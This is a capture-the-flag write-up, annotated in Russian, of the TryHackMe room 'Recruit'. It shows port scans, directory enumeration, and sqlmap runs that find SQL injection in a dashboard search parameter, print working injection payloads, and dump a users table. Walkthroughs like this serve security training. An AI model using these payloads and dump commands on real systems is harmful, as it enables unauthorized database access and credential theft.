Отчет по прохождению комнаты Tryhackme - Recruit

┌──(kali㉿kali)-[~]
└─$ nmap -p- --min-rate 5000 --open 10.113.159.57
Starting Nmap 7.98 ( https://nmap.org ) at 2026-10-14 03:36 -0400
Nmap scan report for 10.113.159.57
Host is up (0.049s latency).
Not shown: 52283 filtered tcp ports (no-response), 13249 closed tcp ports (reset)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE
22/tcp open  ssh
53/tcp open  domain
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 35.09 seconds

┌──(kali㉿kali)-[~]
└─$ nmap -sC -sV -p22,53,80 10.113.159.57         
Starting Nmap 7.98 ( https://nmap.org ) at 2026-10-14 03:39 -0400
Nmap scan report for 10.113.159.57
Host is up (0.047s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 46:3e:8d:39:57:eb:dc:98:dc:8b:10:56:bb:8c:ce:8b (RSA)
|   256 d0:c8:f8:30:2a:c3:57:f0:30:bd:42:56:15:94:8e:d6 (ECDSA)
|_  256 c6:ac:ff:04:ab:0b:a2:2d:85:e3:42:a3:5e:de:c2:a3 (ED25519)
53/tcp open  domain  ISC BIND 9.16.1 (Ubuntu Linux)
| dns-nsid:
|_  bind.version: 9.16.1-Ubuntu
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
|_http-title: Recruit
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.88 seconds

This XML file does not appear to have any style information associated with it. The document tree is shown below.
<urlset>
<!-- Public Pages -->
<url>
<loc>http://recruit.thm/</loc>
<changefreq>daily</changefreq>
<priority>1.0</priority>
</url>
<url>
<loc>http://recruit.thm/index.php</loc>
<changefreq>daily</changefreq>
<priority>1.0</priority>
</url>
<!-- API & Documentation -->
<url>
<loc>http://recruit.thm/api.php</loc>
<changefreq>weekly</changefreq>
<priority>0.8</priority>
</url>
<!-- CV Retrieval Service -->
<url>
<loc>http://recruit.thm/file.php</loc>
<changefreq>weekly</changefreq>
<priority>0.6</priority>
</url>
<!-- Mails -->
<url>
<loc>http://recruit.thm/mail/</loc>
<changefreq>monthly</changefreq>
<priority>0.5</priority>
</url>
<!-- Authenticated Pages -->
<url>
<loc>http://recruit.thm/dashboard.php</loc>
<changefreq>weekly</changefreq>
<priority>0.4</priority>
</url>
<url>
<loc>http://recruit.thm/logout.php</loc>
<changefreq>monthly</changefreq>
<priority>0.2</priority>
</url>
<!-- Static Assets -->
<url>
<loc>http://recruit.thm/assets/</loc>
<changefreq>monthly</changefreq>
<priority>0.1</priority>
</url>
<!--

        Notes:
        - Some directories may contain internal documentation or logs.
        - Certain endpoints are intended for internal HR integrations.
        - Access to sensitive data is role-restricted.
    
-->
</urlset>

┌──(kali㉿kali)-[~]
└─$ gobuster dir -u "http://10.113.159.57" -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -r -t 50  -x php,html,txt,bak
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.113.159.57
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8.2
[+] Extensions:              php,html,txt,bak
[+] Follow Redirect:         true
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
index.php            (Status: 200) [Size: 1417] - страница логина
header.php           (Status: 200) [Size: 457] - заголовок сайта
mail                 (Status: 200) [Size: 935] - обнаружено письмо
assets               (Status: 200) [Size: 2657] - обнаружен лист # Index of /assets
footer.php           (Status: 200) [Size: 289] - редирект на api.php
file.php             (Status: 200) [Size: 20] - Missing cv parameter (ссылка на загрузку резюме, опишу далее)

api.php              (Status: 200) [Size: 4151] - опишу далее
javascript           (Status: 403) [Size: 278] - доступ запрещен
logout.php           (Status: 200) [Size: 1417] - редирект на страницу логина
config.php           (Status: 200) [Size: 0] - возвращает пустую страницу
dashboard.php        (Status: 200) [Size: 1417] - редирект на страницу логина
phpmyadmin           (Status: 200) [Size: 14773] - форма авторизации
server-status        (Status: 403) [Size: 278] - доступ запрещен
Progress: 1102790 / 1102790 (100.00%)
===============================================================
Finished
===============================================================

┌──(kali㉿kali)-[~]
└─$ sqlmap -u 'http://10.113.159.57/' \
  --data='username=admin&password=test123&login=Login' \
  -p username \
  --batch

  [04:48:39] [WARNING] POST parameter 'username' does not seem to be injectable
    
┌──(kali㉿kali)-[~]
└─$ sqlmap -u 'http://10.113.159.57/' \
  --data='username=admin&password=test123&login=Login' \
  -p password \
  --batch
        ___

[04:49:55] [WARNING] POST parameter 'password' does not seem to be injectable

┌──(kali㉿kali)-[~]
└─$ sqlmap -u "http://10.112.141.169/dashboard.php?search=test" \
  --cookie="PHPSESSID=mq4rkdiv3042l85rjd06js1mej" \
  --drop-set-cookie \
  --batch --dbs

Parameter: search (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
    Payload: search=test' AND 5233=(SELECT (CASE WHEN (5233=5233) THEN 5233 ELSE (SELECT 7858 UNION SELECT 1663) END))-- -

    Type: error-based
    Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
    Payload: search=test' AND EXTRACTVALUE(5570,CONCAT(0x5c,0x716a626271,(SELECT (ELT(5570=5570,1))),0x716a627a71))-- jfYr

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: search=test' AND (SELECT 6290 FROM (SELECT(SLEEP(5)))Twid)-- Ximr

    Type: UNION query
    Title: Generic UNION query (NULL) - 4 columns
    Payload: search=test' UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x716a626271,0x76687547786a43424d71597556726a4d4d484575554577726a426e55437a416d4e7a6e6e55637667,0x716a627a71)-- -

available databases [6]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] phpmyadmin
[*] recruit_db
[*] sys

┌──(kali㉿kali)-[~]
└─$ sqlmap -u "http://10.112.141.169/dashboard.php?search=test" \
  --cookie="PHPSESSID=mq4rkdiv3042l85rjd06js1mej" \
  --drop-set-cookie \
  --batch -D recruit_db --tables
 
  Database: recruit_db
[2 tables]
+------------+
| candidates |
| users      |
+------------+

 ┌──(kali㉿kali)-[~]
└─$ sqlmap -u "http://10.112.141.169/dashboard.php?search=test" \
  --cookie="PHPSESSID=mq4rkdiv3042l85rjd06js1mej" \
  --drop-set-cookie \
  --batch -D recruit_db -T users --dump

Database: recruit_db
Table: users
[1 entry]
+----+----------------+----------+
| id | password       | username |
+----+----------------+----------+
| 1  | {REDACTED}     | admin    |
+----+----------------+----------+